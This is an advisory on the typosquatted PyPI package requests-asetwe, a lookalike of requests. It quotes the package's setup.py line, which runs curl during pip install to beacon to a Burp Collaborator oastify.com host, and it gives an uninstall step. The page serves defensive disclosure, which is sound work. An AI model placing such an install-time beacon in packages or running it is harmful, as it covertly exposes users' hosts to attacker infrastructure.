Malicious package · PyPI
Malicious code in requests-asetwe (PyPI)
2.34.2No safe version. Remove it.What it does
setup.py of requests-asetwe unconditionally executes os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com') during pip install. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used requests package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.
Reported by kam193 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
No fix · Remove and contain
pip uninstall requests-asetweSources